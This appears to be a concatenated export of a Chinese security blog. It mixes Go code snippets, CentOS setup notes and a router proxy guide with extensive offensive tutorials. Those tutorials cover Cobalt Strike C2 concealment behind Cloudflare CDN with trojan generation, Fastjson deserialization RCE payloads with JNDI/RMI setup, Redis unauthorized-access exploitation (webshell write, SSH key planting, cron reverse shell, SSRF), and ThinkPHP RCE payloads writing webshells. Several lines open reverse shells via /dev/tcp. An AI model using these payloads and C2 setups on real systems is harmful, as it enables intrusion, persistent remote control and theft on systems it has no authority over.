只是列举了,常用的代码片段,封装成函数,直接调用,如果想修改其他功能直接替换调核心代码即可,方便下次直接使用。
ps:写Java写习惯了,喜欢用一个类表示一个功能
代码放在了GitHub上面:https://github.com/fz1lin/goFragment
https://blog.gm7.org/个人知识库/03.编程开发/GO/02.GO常用实例.html
https://learnku.com/docs/build-web-application-with-golang/about-this-book/3151
http://c.biancheng.net/view/2.html
代码路径 /readWrite
各种格式的速度以及大小对比
后缀 | 读取 | 写入 | 大小(KiB) | 读/写LOC | 格式 |
---|---|---|---|---|---|
.gob | 0.3 | 0.2 | 7948 | 21 + 11 =32 | Go二进制 |
.gob.gz | 0.5 | 1.5 | 2589 | 21 + 11 =32 | Go二进制 |
.jsn | 4.5 | 2.2 | 16283 | 32+17 = 49 | JSON |
.jsn.gz | 4.5 | 3.4 | 2678 | 21 + 11 =32 | JSON |
.xml | 6.7 | 1.2 | 18917 | 45 + 30 = 75 | XML |
.xml.gz | 6.9 | 2.7 | 2730 | 45 + 30 = 75 | XML |
.txt | 1.9 | 1.0 | 12375 | 86 + 53 = 139 | 纯文本(UTF-8) |
.txt.gz | 2.2 | 2.2 | 2514 | 86 + 53 = 139 | 纯文本(UTF-8) |
.inv | 1.7 | 3.5 | 7250 | 128 + 87 = 215 | 自定义二进制 |
.inv.gz | 1.6 | 2.6 | 2400 | 128 + 87 = 215 | 自定义二进制 |
按照字节读取内容,返回读取的内容
1 | //filename 输入文件读取文件的名字 |
写入到一个新的文件中
1 | // writeString 写入的字符串 |
常用正则
https://github.com/cdoco/learn-regex-zh
https://github.com/jaywcjlove/regexp-example
也可以借助chatGPT,你发送一个字符片段,你给他说,我要使用go语言,正则提取xxx内容,就会返回一个正则表达式。
go内置语法参考
提取,根据正则表达式,提取对应的内容
1 | // regexString 正则表达式 |
1 | //jsonStr := `{"name": "Alice", "age": 20}` |
1 | //jsonStr := `[{"name": "Bob", "age": 25}, {"name": "Charlie", "age": 30}]` |
传入json数据
1 | mapData := map[string]interface{}{ |
转换
1 | func MapSwitchJson(mapData map[string]interface{}) string { |
序列化指将 Go 语言数据结构转换为 JSON 格式的字符串。可以使用 json.Marshal()
函数来实现序列化操作
1 | // 定义结构体,变量名注意大写,因为跨到json包了 |
使用 json.Marshal()
函数序列化时,结构体成员名称的首字母必须大写,否则该成员将不会被序列化。为了指定 JSON 字段的名称,可以使用结构体标记(tag)来标注成员
反序列化指将 JSON 格式的字符串转换为对应的 Go 语言数据结构。可以使用 json.Unmarshal()
函数来实现反序列化操作
1 | type Addresss struct { |
导入json包
1 | go get github.com/json-iterator/go |
/times包下
1 | func main() { |
1 | func TimeSince(f func()) string { |
go并发读取txt
1 | //start 10,end 20,将获得这之间的随机数 |
1 | const ( |
1 | func main() { |
1 | // base64编码 |
parseArgs为主要的函数
1 | package main |
https://github.com/spf13/cobra
以下代码示例
安装和导入
举例子
1 | hugo server --port=1313 //server 代表 command, port 代表 flag。 |
1 | //安装 |
项目目录下运行初始化
会创建一个cmd/root.go
和main.go
1 | cobra-cli init |
root.go是这个地方的描述
增加command 命令
生成一个cmd/argPage.go
1 | cobra-cli add argPage |
cmd/argPage.go
1 | package cmd |
main.go
1 | package main |
增加root flag标志位
1 | package cmd |
完整代码路径
/cmd/root.go,/cmd/argPage.go ,main.go
1 | func main() { |
nc监听go发送的包
1 | nc -l 47414 |
1 | func main() { |
必须要传自定义的header
1 | package main |
1 | { |
简单的
1 | func SendPostRequest(url string, payload []byte, headers map[string]string) (*http.Response, error) { |
发送的结果
1 | POST /api HTTP/1.1 |
1 | func main() { |
1 | // 设置本程序全局代理 |
1 | package proxys |
生产者每秒生成一个字符串,并通过通道传给消费者,生产者使用两个 goroutine 并发运行,消费者在 main() 函数的 goroutine 中进行处理。
仅仅通过关键字 go 实现 goroutine,和通道实现数据交换
1 | package main |
1 | cat: 402107940 |
1 | package main |
类似于,python3 -m http.server
1 | func main() { |
GOOS
和GOARCH
环境变量来指定目标平台的操作系统和CPU架构GOOS=windows
,GOARCH=amd64
GOOS=windows
,GOARCH=386
GOOS=darwin
,GOARCH=amd64
GOOS=linux
,GOARCH=amd64
GOOS=linux
,GOARCH=386
GOOS=linux
,GOARCH=arm
,GOARM=5
GOOS=linux
,GOARCH=arm
,GOARM=6
GOOS=linux
,GOARCH=arm
,GOARM=7
GOOS=linux
,GOARCH=arm64
进入项目目录底下
64 位具体参考如上
1 | SET GOOS=linux |
64 位具体参考如上
1 | export GOOS=windows |
1 | SET GOOS=darwin |
http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something
]]>修订版本 v 3.0 -增加 MySQL 安装,优化Linux语句内容。
修订版本 v 3.1 -增加国外源,优化Docker语句
本安装系统适用于 centos 7 系列
1 | cat /etc/redhat-release |
所有安装环境只根据个人需要进行安装,无需全部安装,会持续添加,修订 ~~
source /etc/profile 编译后只能在当前终端生效,重新开启一个中断后,该环境变量将失效。解决办法,重启 reboot
、即可永久生效
1.vnc配置ssh连接
2.ssh连接
1 | vi /etc/ssh/ssh_config |
3.连接ssh
输入密码和用户即可
国外的服务可忽略
1 | yum install -y wget |
其他源
清华源 https://mirrors.tuna.tsinghua.edu.cn/help/centos/
1 | # 网易源 |
1 | # 网易源 |
换国外源
1 | cd /etc/yum.repos.d/ |
1 | # CentOS-Base.repo |
因为是最小化安装,所以好多常用工具需要自行安装
1 | yum install -y vim lrzsz gcc gcc-c++ net-tools wget automake cmake gzip bzip2 zip unzip kernel kernel-devel kernel-headers git-all screen |
安装多个Java版本是可以切换的,没有测试在运行程序,切换版本,会不会出现故障,最好测试一下,目前本地测试服务未出现故障,没有跑服务,自测吧,可以根据需要进行安装
1.安装java环境
1 | wget https://download.java.net/openjdk/jdk11/ri/openjdk-11+28_linux-x64_bin.tar.gz |
yum安装
1 | yum install java-1.8.0-openjdk.x86_64 -y |
源码安装-jdk-8u77
需要自己下载源码、官网下载需要注册登录下载,1.8之后的,可自行注册下载,所需版本
1 | mkdir /opt/java |
1 | mkdir /opt/java |
1 | # 将Java目录加入JDK选择列表 |
安装Java打包程序
1 | wget https://dlcdn.apache.org/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz |
添加环境变量
1 | vim /etc/profile |
https://note.qidong.name/2021/05/multiple-python/
Linux 安装
1.查看Python 版本
1 | python -V |
2.下载安装
1 | wget https://www.python.org/ftp/python/3.9.7/Python-3.9.7.tar.xz |
3.创建链接
1 | ln -s /usr/local/python3/bin/python3.9 /usr/bin/python3 |
4.修改yum配置(可选)
因为执行yum需要python2版本,所以我们还要修改yum的配置
1 | vim /usr/bin/yum |
5.创建虚拟环境(可选)
virtualenv 是一个可以在同一计算机中隔离多个python版本的工具。如 python2.7 / python3.9 ,但是如果都装到一起,经常会导致问题。
1 | pip3 install --upgrade pip |
修改文件路径
1 | vim ~/.bashrc |
安装virtualenv
1 | source ~/.bashrc |
6.卸载 Python3 (可选)
1 | #卸载pyhton3 |
Centos7 默认自带 Python 2.7.5 版本,但是缺少 pip库 以及常用的模块,这里列举了,模块的安装方式,如果pip 安装不成功,可以尝试通过去官网下载编译安装
Python2的常用的库 https://pypi.org/
安装方式列举
1 | # 安装 setuptools |
安装 pip
1 | wget https://pypi.python.org/packages/11/b6/abcb525026a4be042b486df43905d6893fb04f05aac21c32c638e939e447/pip-9.0.1.tar.gz#md5=35f01da33009719497f01a4ba69d63c9 |
1 | yum install -y epel-release yum-utils |
1 | git clone https://github.com/ambionics/phpggc.git |
https://cloud.tencent.com/developer/article/1886339
1 | # centos 7 |
卸载MySQL
1 | rpm -qa | grep mysql |
是连接用的客户端
1 | wget http://download.redis.io/redis-stable.tar.gz |
使用
1 | redis-cli -h |
node-v16.15.0
1 | mkdir /usr/local/node |
1 | wget https://cache.ruby-lang.org/pub/ruby/3.1/ruby-3.1.2.tar.gz |
go 官网 :https://golang.org/dl/
安装教程:https://www.runoob.com/go/go-environment.html
1 | wget https://golang.org/dl/go1.17.linux-amd64.tar.gz |
设置国内代理 !!!! VPS在国外可忽略
https://github.com/goproxy/goproxy.cn/blob/master/README.zh-CN.md
1 | export GO111MODULE=on |
在powershell运行,切换国内代理。
1 | $env:GO111MODULE = "on" |
1.检查版本
1 | cat /etc/redhat-release |
2.安装
1 | yum install -y gcc gcc-c++ |
3.卸载docker
1 | systemctl stop docker |
SwordHost 渗透测试辅助工具箱,参考了,大量的开源项目,有网页版生成payload的,但是不满足现在所需,如果二开需要服务器,很麻烦,如果有多个测试节点,每次输入很麻烦,而且Java有些需要编码,每次都需要找在线网站,很麻烦,因此SwordHost诞生了,由 Java 8 编写,向上兼容,适用于多个平台,双击即可运行,里面集成了,渗透测试常用的小工具。
经过几个版本的内部迭代,新版本已经发布,具体请访问 GitHub
如果师傅们有好的建议,可以发邮箱或者issues,也可以PR
具体使用说明,请访问GitHub地址:https://github.com/fz1lin/SwordHost
]]>c2 服务器:cs 4.7
服务器端:CentOS 7
客户端:win10
语言:Java 11
上线原理为 受害者主机运行木马—–>CDN—->cs服务器收到上线
执行操作原理为 cs服务器执行命令—–>CDN接收—–>受害者主机执行命令
架构:
freenom.com + cloudflare.com + vps
freenom 作为免费的域名,cloudfare作为CDN
域名+CDN+VPS
具体注册可以参考这个
https://zhuanlan.zhihu.com/p/115535965
先在搜索框输入任意的域名,然后检查可用性
选择购买多长时间,然后点击继续
然后选择邮箱,最好是Google邮箱,临时邮箱注册不了
后面需要填写真实身份,不然注册不上,可以使用随机身份生成一个
https://www.shenfendaquan.com/,然后填写对应的就行了
至此,注册及申请完成。你会得到一个域名。
这个是CDN
直接用临时邮箱注册一个即可
将freenom 购买的域名添加进去
可以参考这个
https://blog.csdn.net/weixin_42891146/article/details/122209661
选择免费的即可
复制 nameserver1 和 nameserver2的内容
选择Services→MyDomains
选择Manage Domain
选择Nameservers
将CloudFlare两个地址填进去
返回CloudFlare 去看,这个需要等一会,等到 active 即可
添加一个 A记录 www.xxx.tk content 为ip地址
最终域名为 www.xxx.tk
配置这个
以此往下关闭即可
vps 访问开启80端口
1 | python3 -m http.server 80 |
http://www.xxx.tk 域名可以看到内容
然后访问域名的80端口测试
ping域名看看
至此绑定已经完成
参考这个
https://cn-sec.com/archives/1168150.html
https://blog.csdn.net/weixin_42891146/article/details/122209661
生成www.xxx.tk.store
创建证书
复制证书创建txt导入,修改文件名为xxxx.pem
复制私钥创建txt导入,修改文件名为xxxx.key
将创建的pem和key文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)
1 | openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -passout pass:123456 |
GitHub有很多,具体可以自己找,搜索 profile 关键字即可
https://github.com/threatexpress/malleable-c2
这里我用的是这个,因为我的cs是4.7的所以用4.7的 profile
打开下载好的jquery-Profile
一个是https-certificate模块中的keystore
和password
,修改后把注释去掉
1 | //原文件 |
修改http-stager 中的Host和Referer及Content-Type。
1 | // server 中 Content-Type |
1 | // server 中 Content-Type |
1 | // server 中 Content-Type |
在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。使用开发模式并清除缓存(这个只能缓存两个小时)。
设置规则,不让CloudFlare 进行缓存
将修改的jquery-c2.4.3.profile 上传vps上面
在修改完成后,使用CS自带的c2lint对profile语法进行检查,没有报错的话说明配置是对的。
4.7 不带这个 c2lint 直接运行如下,如果没有错误说明正确,如果有错误会提示profile哪一行出现问题
1 | ./teamserver 127.0.0.1 password jquery-c2.4.3.profile |
1 | ./teamserver 127.0.0.1 password jquery-c2.4.3.profile |
!!! 注意:
如果CS的服务器是国内服务器且没有进行备案的话,是无法使用80、8080、443、8443端口提供服务的;如果服务器是国外服务器的话则无影响。Cloudflare的代理模式只有部分端口能够使用,使用时要注意端口的设置,否则是监听不到的。
Cloudflare 支持的 HTTP 端口:80、8080、8880、2052、2082、2086、2095
Cloudflare 支持的 HTTPS 端口:443、2053、2083、2087、2096、8443
生成exe木马,抓包测试
是CDN 地址
如果不上线检查一下window的实时防护
查看端口建立情况,可以查看,我们监听的http的端口是8880,这个地址
1 | netstat -ant |
1 | ./TeamServerImage -Dcobaltstrike.server_port=48951 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 teamserver $* |
可作为参考的链接
https://cloud.tencent.com/developer/article/1952637
https://www.wangan.com/p/7fy7475c1903ed27
https://www.exterminate-dog.com/2022/01/17/2022004/
https://cn-sec.com/archives/1168150.html
https://blog.csdn.net/weixin_42891146/article/details/122209661
]]>版本 1.0 基础功能 2022.2.24
版本 2.0 增加 screen 2022.8.13
运行环境
1 | centos 7 |
xray https://github.com/chaitin/xray
rad https://github.com/chaitin/rad
安装就不用多说了,安装Linux版的就行了
脚本介绍:rad+xray 融合,探测批量目标
这个脚本是在 window下运行的,所以你要把xray.exe该成你Linux版xray的名字
根据你自己需要选择即可
https://github.com/timwhitez/rad-xray
运行脚本会发现出现错误,no chrome found,因为 rad 运行需要 chrome 浏览器,所以要安装chrome浏览器
防脚本丢失-将原文贴过来了(如有侵权请邮箱联系我删除)。
url一行一个放url.txt中,和rad放同文件夹
xray开启监听,
./xray webscan –listen 127.0.0.1:7777 –html-output report__datetime__.html
运行py
python3 rad+xray.py
注意:单个任务结束后会kill所有的chrome进程
1 | #!/usr/bin/python3 |
url一行一个放url.txt中
xray+rad.py 和 xray 和 rad 放同一文件夹
运行py:
1 | python3 xray+rad.py |
1 | #!/usr/bin/python3 |
安装 Chrome
centos7 安装
1 | wget https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm |
ubuntu 安装
1 | wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb |
再次运行xray你会发现又出现错误了,
1 | [launcher] Failed to get the debug url: [0224/025251.434358:ERROR:zygote_host_impl_linux.cc(90)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180. |
原因是chrome的沙箱问题,不能以root用户运行。
修改 /usr/bin/ 目录下的 google-chrome 配置文件
1 | vim /usr/bin/google-chrome |
重新运行xray脚本即可
如果不使用此命令,如果断开 shell 终端,任务会结束
具体的可以参考这个 nohup
1.后台运行
1 | nohup python3 browerscan.py & |
2.查看项目生成的数据
动态显示数据进程
1 | tail -f nohup.txt |
3.查看后台运行
1 | ps -aux | grep python3 |
4.杀死后台
1 | ps -aux | grep python3 |
系统管理员经常需要SSH 或者telent 远程登录到Linux 服务器,经常运行一些需要很长时间才能完成的任务,比如系统备份、ftp 传输等等。通常情况下我们都是为每一个这样的任务开一个远程终端窗口,因为它们执行的时间太长了。必须等待它们执行完毕,在此期间不能关掉窗口或者断开连接,否则这个任务就会被杀掉。
参考链接 https://www.cnblogs.com/mchina/archive/2013/01/30/2880680.html
安装
1 | # centos 类型 |
使用
1 | # 创建方式 |
快捷键
1 | Ctrl + a,d #暂离当前会话 |
所有命令参数
1 | -A 将所有的视窗都调整为目前终端机的大小。 |
参考链接
https://github.com/timwhitez/rad-xray
https://blog.csdn.net/yelllowcong/article/details/80159963
https://blog.csdn.net/weixin_42250835/article/details/119983347
]]>将对象数据转换为JSON格式,利用JSON来实现序列化存储在磁盘中。
也就是使用json将一些数据封装起来当做访问一些应用的令牌。
eg:npm的package.json
包管理配置文件
不过一般情况下使用json作为配置文件的情况很少,并不建议使用。
https://www.codeleading.com/article/82974738889/
Fastjson是阿里巴巴公司开源的一款JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。
它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
1 | 1.目标站点如果报错的话一般使用不闭合{花括号或者多添加"双引号来进行测试" # {" |
@type
指定的解析类,即
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes
与_name
都是私有属性,所以要想反序列化这两个,需要在parseObject()
时设置Feature.SupportNonPublicField
因为不让属性,找错类型@type
引入了autotype
,com.sun.rowset.JdbcRowSetImpl
一定会被读取加载
com.sun.rowset.JdbcRowSetImpl
是个恶意类,默认对属性不做任何处理,导致了反序列化,可以任意执行命令
EXP
1 | // exp 1.2.24 |
既1.2.25版本之后设置了autoTypeSupport
属性默认为false
,并且增加了checkAutoType()
函数,修复是用了白名单,后面是通过绕过白名单来进行攻击的com.sun.rowset.JdbcRowSetImpl
在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L
”开头、以”;
”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L
,尾部加;
即可绕过黑名单的同时加载类。
EXP
1 | { |
autoTypeSupport
属性为true
才能使用。(fastjson>=1.2.25默认为false)
如果输入类名的开头和结尾是L
和;
就将头和尾去掉,再进行黑名单验证。 还把黑名单的内容进行了加密,黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist 绕过方法,在类名外部嵌套2层L;
原类名:com.sun.rowset.JdbcRowSetImpl
绕过: LLcom.sun.rowset.JdbcRowSetImpl;;
EXP
1 | { |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
fastjson在1.2.43中checkAutoType()
函数增加判断开头为LL
直接报错。 绕过方法: 根据fastjson判断函数,[
开头则提取类名,且后面字符字符为”[
“、”{
“等,即可正常调用
EXP
1 | { |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
前提条件:需要目标服务端存在mybatis
的jar包,且版本需为3.x.x
系列<3.5.0
的版本。 使用黑名单绕过,org.apache.ibatis.datasource
在1.2.46
版本被加入了黑名单 由于在项目中使用的频率也较高,所以影响范围较大。
EXP
1 | { |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
对版本小于1.2.48的版本通杀,autoType
为关闭状态也可使用。 loadClass
中默认cache
设置为true
,
(1)首先使用java.lang.Class
把获取到的类缓存到mapping
中,
(2)直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl
这个类,绕过了黑名单机制。
EXP
1 | { |
基于黑名单绕过
1 | { |
关于fastjson<=1.2.66网上相关的利用不多,收集到的几个exp,也是基于黑名单绕过。
EXP
1 | { |
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
https://github.com/LeadroyaL/fastjson-blacklist
编写EXP->启动python服务器->启动rmi 监听-> 发送poc->成功反弹shell
需要 Java 环境
将代码编写为class类文件,并将生成的类文件放在web目录下,并启动web服务
https://ares-x.com/tools/runtime-exec/
EXP编码 bash -c {echo,YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTI3LjAuMC4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
1 | import java.io.BufferedReader; |
编译 EXP 并启动 python 服务器
1 | #编译 |
用marshalsec项目,启动一个RMI服务器,监听9999端口,并加载远程类
1 | git clone https://github.com/mbechler/marshalsec.git |
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:8888/#Exploit" 9999 |
备注:http://xx.xx.xx.xx:9999/#POC 是放Java类的地址,类只要写名字即可,不需要加.class,其次类名前要加#
把网站json数据包替换,然后发包,VPS即可收到
这里的EXP 根据Fastjson 版本不同,进行替换
1 | POST / HTTP/1.1 |
如果弹shell 需要先搭建 rmi 服务器
将127.0.0.1
换成rmi服务器地址 8653
为rmi 服务器端口
1 | POST / |
如果弹shell 需要先搭建 rmi 服务器
将127.0.0.1
换成rmi服务器地址 8653
为rmi 服务器端口
1 | POST / HTTP/1.1 |
fastjson burp 插件
https://github.com/zilong3033/fastjsonScan
在Fastjson<=1.2.68的版本中,通过新的Gadgets绕过autoType开关,在autoType关闭的情况下仍然可以绕过黑白名单防御机制,通过反序列化漏洞在服务器上执行任意代码
Fastjson爆出的绕过方法可以通杀 1.2.68 以下所有版本
1 | Fastjson <= 1.2.68 |
任意文件写入POC
1 | {"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar","append":false},"infl":{"input":"xxx"},"bufLen":1048576},"protocolVersion":1}} |
JDBC反序列化POC
1 | {"@type":"java.lang.AutoCloseable", "@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"172.20.64.40","portToConnectTo":3306,"url":"jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"3306","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","user":"yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn","PORT.1":"3306","HOST.1":"172.20.64.40","NUM_HOSTS":"1","HOST":"172.20.64.40","DBNAME":"test"}} |
https://github.com/safe6Sec/Fastjson
1.服务器出网
使用jndi
注入-ldap -
rmi
2.服务器不能出网
BasicDataSource
(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)TemplatesImpl
不常用TemplatesImpl
1 | com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl |
由于解析json需要额外添加参数Feature,因此实际情况可能不会遇到,这里只是做个记录。首先需要准备一个Poc:
创建Poc.java
代码如下 exec
为payload,使用低版本Java 执行最好是jdk8 以下的,javac Poc.java
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
new String[] 是以数组的方式传送,能执行多个命令,如果不加会报错。
在使用 python生成字节码
python fast.py
1 | import base64 |
最终payload
将生成的字节码放入 poc.class_base64
1.2.24 payload
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["poc.class_base64"],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"} |
1.2.47 payload
1 | {"a": {"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["poc.class_base64"],'_name': 'a.b','_tfactory': {},"_outputProperties": {},"_name": "b", "_version": "1.0","allowedProtocols": "all"}} |
(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)
插件地址
https://github.com/bigsizeme/fastjson-check
一键生成链子
看不到type类型,自行往右拉。
先config 选择 然后Generte Echo payload
https://jishuin.proginn.com/p/763bfbd63f5d
https://cloud.tencent.com/developer/article/1785575
https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/jndi_tool.jar
1 | java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 "bash=bash -i >&/dev/tcp/x.x.x.x/80 0>&1" |
官网 https://github.com/wyzxxz/jndi_tool
参考链接
https://jishuin.proginn.com/p/763bfbd63f5d Fastjson三条利用链
https://www.cnblogs.com/pickmea/p/15157189.html
]]>redis 绑定端口 6379,且任意IP能访问,无密码直接登录 redis,登录需要在本地安装redis
本地安装 redis
1 | wget http://download.redis.io/releases/redis-2.8.17.tar.gz |
测试未授权访问
1 | redis-cli -h 目标IP -p 6379 |
利用条件
存在未授权访问漏洞,并登录redis,需要知道 web 服务器目录,并有增删改查的权限
web服务器目录,需要自己根据获取路径更改
1 | redis-cli -h 目标IP -p 6379 |
利用条件
存在未授权访问漏洞,并登录redis,.ssh目录有写入的权限
原理
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
攻击机
生成 SSH 密钥,导入key.txt,再把key.txt写入redis 服务器中
1 | ssh-keygen -t rsa |
登录 redis 写入ssh,文件名为 auth_keys
1 | redis-cli -h 目标IP |
测试登录
1 | ssh 目标IP |
数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell
攻击机上监听
1 | nc -lvnp 5555 |
登录目标网站
根据不同类型的Linux需要更改路径
Centos的定时任务文件在
1 | /var/spool/cron/ |
Ubuntu定时任务文件在
1 | /var/spool/cron/crontabs/ |
1 | redis-cli -h 目标IP |
稍等片刻,即可反弹
密码验证
降权运⾏
限制 ip / 修改端⼝
https://www.runoob.com/redis/redis-install.html
不一定是ssrf 也可以是 spring 之类的,只要能获取到redis账号密码就行。
vps 监听
1 | nc -lvvp 1234 |
ssrf 漏洞利用点请求服务器
1 | url=http://127.0.0.1:1234 |
去服务器上看可以看到真实IP
利用dict探测redis
1 | url=dict://127.0.0.1:6379 |
发现开放 redis 服务
获取网站绝对路径如果是 可以根据网站特性获取
1 | /www/wwwroot/hx4_triangle/application |
主服务器搭建
1 | sudo yum install epel-release |
写shell
本地redis 写入
1 | flushall |
ssrf目标服务器写入
1 | config:set:dir:/www/wwwroot/runtime/ |
蚁剑连接
vps 下载利用工具
1 | git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server.git |
1 | cd Awsome-Redis-Rogue-Server/ |
用dict写shell
1 | config get dir |
1 | python3 redis_rogue_server.py -v -path module.so |
1 | # 查看当前redis的相关配置 |
用于出差随身携带,实现科学上网,所有流量走路由器,而不是本机代理,有些扫描器或者软件,权限高,不走全局代理,容易漏IP,因此我们需要从路由上解决,也可以使用openwrt走旁路由,不过本教程只是中继,后续出旁路由吧,本教程仅用于安全研究以技术交流,造成的后果使用者负责。
设备:斐讯 N1
固件:https://www.aliyundrive.com/s/KhSCHkTZeei 提取码: 34ei
N1刷openwrt教程:http://readme.jimostudio.link:9000/?id=57
进入后台
账号 root 密码password
无线中继模式
点击扫描
加入网络
输入密码-提交
选择接口 LAN 也就是网线的那个口,设置DNS 访问百度测试
测试成功说明路由走路由器了
需要自己准备机场列表
点击添加-启用勾选-备注随便填-把订阅连接添加上面-保存应用-手动订阅
主开关勾选 -选择自己机场的节点
这里根据自己的喜好,更改代理模式
如果未生效重启一下路由或者禁用启用一下网卡
]]>使用浏览器插件判断是 ThinkPHP
提交任意字符,会爆出框架版本
如果版本隐藏,可以考虑盲打。使用payload即可,作为打点漏洞,需要知道,该漏洞是否有利用面,也就是进一步的深入,能否获取内网获取权限。
1 | http://url/ThinkPHP/POC |
order by 注入漏洞
1 | ?order[updatexml(1,concat(0x3a,user()),1)]=1 |
update 注入漏洞
1 | money[]=1123&user=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) |
关闭 debug
1 | GET /index.php?m=--><?=phpinfo();?> HTTP/1.1 |
读取日志文件
1 | \Application\Runtime\Logs\Common\21_06_30.log |
1 | http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_06_30.log |
开启debug
1 | GET /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1 |
文件默认路径
1 | \Application\Runtime\Logs\Home\21_06_30.log |
1 | http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log |
传入恶意文件,传入文件地址
1 | http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./test.txt |
最终payload
1 | http://127.0.0.1/index.php?m=Home&c=Index&a=index&info[_filename]=.\ |
tp框架系列中,5.0.x 跟 5.1.x 中,各个系列里的poc是几乎为通用的
5.0.1中某个poc在5.0.3中也是可以用的,也就是说当我们碰到5.0.8的时候,可以尝试用5.0.1
或 5.0.5等 5.0.x 系列的poc去尝试使用,5.1.x 系列同理
漏洞成因
1 | 路由控制不严谨,默认不开启强制路由,从而可以任意调用Thinkphp的类库 |
(1)判断是否存在漏洞
poc1
http://wwww.com/publics=phpinfo()&_method=__construct&filter=assert_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo_method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1
poc2
http:/xxxx.com/?s=index/index/indexs=ipconfig&_mehthod=__construct$method=&filter[]=system
(2)深入利用
使用post提交
1、使用assert函数
s=phpinfo()&_method=__construct&filter=assert
2、include函数,可以根据此函数查看一些文件及其配置
s=include("/etc/passwd")&_method=__construct&filter=assert
3、file_put_contents函数,可以直接写入文件
s=file_put_contents('/data/wwwroot/test.com/application/index/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
4、读取文件
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../application/.htaccesss=include("../application/.htaccess")&_method=__construct&filter=assert//ps:如果不加.. 请加上完整路径
5、var_dump函数,可以查看该路径下的文件,文件夹
s=var_dump(scandir('../application/'))&_method=__construct&filter=assert
6、复制文件
s=copy("/data/wwwroot/data.tar", "/data/wwwroot/test.com/public/data.tar")&_method=__construct&filter=asser
1 | POST /?s=index/index |
getshell
1 | POST /?s=index/index |
1 | POST /?s=index/index |
getshell
1 | POST /?s=index/index |
1 | POST /?s=index/index |
getshell
1 | POST |
waf对eval进行了拦截
禁止了assert函数对eval函数后面的括号进行了正则过滤
对file_get_contents函数后面的括号进行了正则过滤
